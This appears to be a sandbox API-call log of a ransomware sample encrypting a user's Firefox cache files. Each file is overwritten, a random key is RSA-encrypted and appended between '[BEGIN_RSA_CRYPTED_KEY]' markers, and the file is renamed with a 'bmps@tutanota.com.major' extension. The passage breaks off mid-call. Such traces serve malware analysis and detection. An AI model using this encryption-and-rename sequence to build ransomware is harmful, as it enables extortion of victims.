[0258.442] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x1134, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x1134, lpOverlapped=0x0) returned 1 [0258.551] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4404, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.551] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b190*, nNumberOfBytesToWrite=0x1134, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b190*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1134, lpOverlapped=0x0) returned 1 [0258.552] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1134 [0258.552] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.552] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.553] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.553] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.553] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.553] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xk8+xsfurDeklX3EcOvMWJmj2hZtrFGtliCXqKnYiOwQ8MPA4T82EWQSR/YaOT61\nmYyITgnGXa84FmZIKXIoSKq0LODgoMTjiijfLOGicRhq/0UovEvV1Rgf50CfI4bQ\nwd4snuKfvtBWaZk2uT4CCwafyYZJIXgoPIxGLQo61qddas9hzzwYfMH18SjlpVw6\nZzvu72QoaZ5E/+tq3zE/uXa74IESKJoXAaBUEA/PlrncVY1Wocdfm3Dy3uFWwmpy\nVstV9Jkb2/5uyvFjX+ZTVtw5Pysn6xPY4ekYQzAB2xFxM63W1f4OQiNUkKZxEO89\nZTlKB3N0FLVaUn58NOO5lQ==\n", pcchString=0x2e3f9a8) returned 1 [0258.553] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.553] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.553] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.554] CloseHandle (hObject=0x1b84) returned 1 [0258.554] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB32D8F1C18D5453574FE5B0121069032AC00EC1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab32d8f1c18d5453574fe5b0121069032ac00ec1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB32D8F1C18D5453574FE5B0121069032AC00EC1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab32d8f1c18d5453574fe5b0121069032ac00ec1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.558] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.558] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB141217664509C26C8CD6507A817D0952C045DB", dwFileAttributes=0x80) returned 1 [0258.559] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x1fd7b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x1fd7b, lpOverlapped=0x0) returned 1 [0258.568] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-130427, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.568] WriteFile (in: hFile=0x1b84, lpBuffer=0x3469dd8*, nNumberOfBytesToWrite=0x1fd7b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3469dd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1fd7b, lpOverlapped=0x0) returned 1 [0258.569] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1fd7b [0258.569] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.569] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.570] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.570] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.570] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.570] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GE2/rvcKumj6I0GMGNCX+Lrnyrb2MD3rYcyMBaUng6YCGyE5TyDoY0TgPZuDepPM\npIa6QdrNKfqNwmiqiQDwA5mc8gpbkOnWp+JAleAzYjmXp22SSNCTtxnylqpK9JK9\nYsO4M4MuWL0KCWjl9QBbctvJB49fEEcxbzuLaBFofAXkBdREFpfonI2W8AqwSXKJ\n+8tz+z2fszOG1b7vLPudwkKgQsDY76j+eMHDMhl5kNAW+dzMydGIcvAhZOW6yTzf\nqG0noZq01IEaWdPhm1QjaMlSE6QwXWXVXYz4SglJt1JodTQt5tnB8JdGTN9ppr7S\nU5uhZkGOe2tzpbui6AndJg==\n", pcchString=0x2e3f9a8) returned 1 [0258.570] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.571] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.571] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.571] CloseHandle (hObject=0x1b84) returned 1 [0258.571] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB141217664509C26C8CD6507A817D0952C045DB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab141217664509c26c8cd6507a817d0952c045db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB141217664509C26C8CD6507A817D0952C045DB.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab141217664509c26c8cd6507a817d0952c045db.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.574] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.574] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8", dwFileAttributes=0x80) returned 1 [0258.574] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x3cc6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x3cc6, lpOverlapped=0x0) returned 1 [0258.575] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-15558, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.575] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x3cc6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3cc6, lpOverlapped=0x0) returned 1 [0258.576] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3cc6 [0258.576] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.576] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2YwYKBtO0v3OpqKc5voaNChzHg1fKJksWZzQveUNFZz2hPO8ExWpdvUoV1UOn0jz\nH0rovL2fBhF4LTZL2dKaSCHMy+X4LDQDycDoolrrtMAve9/nokclVHn59FMhmalV\nIuqjJabInb/eB6+XcY5Ph5WPgzSa4lAWe0Ci9X1tJCarHoIMBBmsmU278LdwExcu\nkYRf2w6yBuZ3NAX96HhPT/J8/+x3LMHISDXC/+r7ZsXwaCu4GVDxK0LAHu8pbdJ/\nYjPFCpHd3fud33WQeczV6xyPvVh90xo1WbrLbvM26c3XLuH5UuwmXPdi0QgCSjdi\n8sSmRPOq1ijlniSIF9g/rg==\n", pcchString=0x2e3f9a8) returned 1 [0258.577] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.578] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.578] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.578] CloseHandle (hObject=0x1b84) returned 1 [0258.578] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aab980cea9a2c2cd649588dc3de613f3ab65eff8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AAB980CEA9A2C2CD649588DC3DE613F3AB65EFF8.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aab980cea9a2c2cd649588dc3de613f3ab65eff8.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.581] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.581] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AA1BE830624563966081A279316B3A864908E513", dwFileAttributes=0x80) returned 1 [0258.581] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x10fc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x10fc, lpOverlapped=0x0) returned 1 [0258.684] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.684] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442940*, nNumberOfBytesToWrite=0x10fc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442940*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10fc, lpOverlapped=0x0) returned 1 [0258.684] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10fc [0258.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.685] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.685] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.685] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YRjHGoXuRXXP7fG7Ww5wf3t2m+8AjsEFbSv3PI5kQT/fPliTsgi6vypRiruhfcKg\n7n2nQIEJTwiNQXSo/e2APBDgx9rRTBO2pXwZufSRwoFiUfPbyT37sn7ZVQPdGI71\ncENwqNE8avqmAVyZGgJvIunLO4LkZUzG/Xu+tlwjqNVpASDjYLX2k6XWQsvPFUdj\nziB8QnpdcG9mf1pB/oyVnS1enYqRSOdwfkOwSnJXIhOrM/2d+TciLsu6o7HV5/Mp\n54uCAcxLrl3LLFUE7rCHFNAUYQ0KyfVN8qgg8D/QAUspWoFisfcIk4TF1daVQoqZ\naLVPHR6zON69EmDqFlKEpw==\n", pcchString=0x2e3f9a8) returned 1 [0258.685] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.686] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.686] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.686] CloseHandle (hObject=0x1b84) returned 1 [0258.686] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AA1BE830624563966081A279316B3A864908E513" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aa1be830624563966081a279316b3a864908e513"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AA1BE830624563966081A279316B3A864908E513.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\aa1be830624563966081a279316b3a864908e513.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.688] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.688] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A88FE7DF2F4DF75099CE8732F8FFE199B8926CAA", dwFileAttributes=0x80) returned 1 [0258.689] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x1166, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x1166, lpOverlapped=0x0) returned 1 [0258.707] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.707] WriteFile (in: hFile=0x1b84, lpBuffer=0x34429a8*, nNumberOfBytesToWrite=0x1166, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34429a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1166, lpOverlapped=0x0) returned 1 [0258.708] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1166 [0258.708] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.708] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.708] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.708] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="f7vZeiqLjILqNTLYGKg3yPWizm2SJB6fehU/zI0+OsKnpW40DUlW+NQhvz1vE2gQ\nqVYSX+xpcSeJl7j4jU+d/UWQnehU9NFueYVBdtFYyljMOyVNmgJ2JV4zIr5uXtNf\n3SGrSqMi7PETUE4SQWrxvtv4ZQ/LAJPDJhoxTjqRLJKiGhNDKNL3klIz2UgbN+tY\n8gz/i/+1ahp6UUa6OONw/g4Pb2a3l9mHvNxX/aIxkW5+Ag2mvI/1HtfvlUop4vM6\n/MYZeYIO5V+eMVEpVuzKeL0cwHrFGYqDO9MNz5LZWQ2XAMHdvuOBWNgkXGRYIgob\npvvsRYR6/BdcuiBCqChoZQ==\n", pcchString=0x2e3f9a8) returned 1 [0258.709] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.709] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.709] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.709] CloseHandle (hObject=0x1b84) returned 1 [0258.710] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A88FE7DF2F4DF75099CE8732F8FFE199B8926CAA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a88fe7df2f4df75099ce8732f8ffe199b8926caa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A88FE7DF2F4DF75099CE8732F8FFE199B8926CAA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a88fe7df2f4df75099ce8732f8ffe199b8926caa.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0258.712] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0258.712] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A7BF4A4AFAC2FAA5D43E00B8B6F97C8428E85E85", dwFileAttributes=0x80) returned 1 [0258.712] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0258.713] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0258.713] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0258.714] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0258.714] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.714] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0258.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0258.715] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0258.715] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IZrTpiDaIrzbwRmX3soFzMUfzNWXQXhS2afsXEQHzQHtW0aVtxSLwye+/J/GXgtS\nAwXehxYvLpi7xyu2EnEtBEZnLD95PN3DZfmK31c+y+TnhQFtTvodeMf015jHE0PU\npnbahoHYlNnQaMgxC5AgCNeVOiQ4Do1zWsYzZ8Q2ImmmqhDcfa0o6uAHgaI+bRyA\nITGnUx99JRg3UmQztweOsax50PR64nfuSR0TGX7xTYPoXpi5/0G4xN9jfz5EhKpi\nHkXTTmzqrzM07yFus241UGib5NnFA9XA64NoPf2sBIwqOq5YTclRY9/4AlGQQG8V\nbV5QGflx7Lfd6gHo8XKJSw==\n", pcchString=0x2e3f9a8) returned 1 [0258.715] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0258.715] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0258.715] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0258.715] CloseHandle (hObject=0x1b84) returned 1 [0258.715] MoveFileExW 